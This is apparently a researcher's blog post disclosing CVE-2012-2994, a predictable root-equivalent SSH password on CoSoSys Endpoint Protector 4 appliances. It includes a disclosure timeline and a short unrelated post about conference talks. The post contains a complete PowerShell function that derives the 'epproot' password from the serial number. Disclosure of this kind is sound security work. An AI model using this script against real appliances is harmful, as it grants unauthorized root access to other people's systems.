CoSoSys Predicable Password CVE-2012-2994

CVE-2012-2994 describes a vulnerability in the CoSoSys Endpoint Protector 4 appliance that I mentioned in my BsidesLV talk.  The bottom-line is that once the appliance is activated, a script is ran that sets several passwords using a variation of the serial number.  The account "epproot" is a root-equivalent account and can be used to SSH into the appliance.  The password is not provided from the company so if you would like to control the appliance, use the following PowerShell script:

Get-EPPPassword Functionfunction Get-EPPPassword { <# .Synopsis Get-EPPPassword calculates the predictable root password for Cososys Endpoint Protector 4 servers. Author: Chris Campbell (@obscuresec) License: BSD 3-Clause .Description Get-EPPPassword Timeline: discovered 3 Mar 2012 reported to vendor 12 Jun 2012 reported to US-CERT 15 Jul 2012 released 17 Sep 2012 .Example Get-EPPPassword -Serial 123456789 .Link http://obscuresecurity.blogspot.com/2012/09/cososys-predicable-password-cve-2012.html #> Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Serial) #function to calculate sums from serial number function GetSerialSum { if ($Serial.Length -ne 9) { Return "EPP Serial Number is 9 digits" } else { #convert $serial to an array of integers [int[]] $SerialArray = [char[]]$Serial| ForEach-Object {[int]"$_"} } foreach ($Number in $SerialArray) { $Sum += $Number } Write-Output $Sum } #function to calculate epproot password function GetPassword { Write-Output "eroot!00$Sums`RO" } $Sums = GetSerialSum GetPassword } Get-EPPPassword -Serial 135792468

The vulnerability lies in the fact that there are an extremely limited number of possible password combinations  (91) which can be easily brute-forced.  To generate the complete list of possible passwords with PowerShell:

The output should look like the following screenshot, but can be downloaded here:

Thanks for reading and I hope to see everyone at Derbycon!

-Chris

Blackhat, BsidesLV and Defcon

I had a great time at Las Vegas security week this year and had the honor of presenting at Black Hat USA and BsidesLV. I appreciate everyone's support and feedback.  I have never presented before and it was both exciting and humbling to talk to the attendees of both talks.

I plan on posting all presentation slides here, but you can find additional information related to the "Passing the Hash" talk at this blog.   

Skip took the time to add audio to the demos from the talk. In case you missed the talk, view the slides and the demos should give you a good idea of the main points.







 -Chris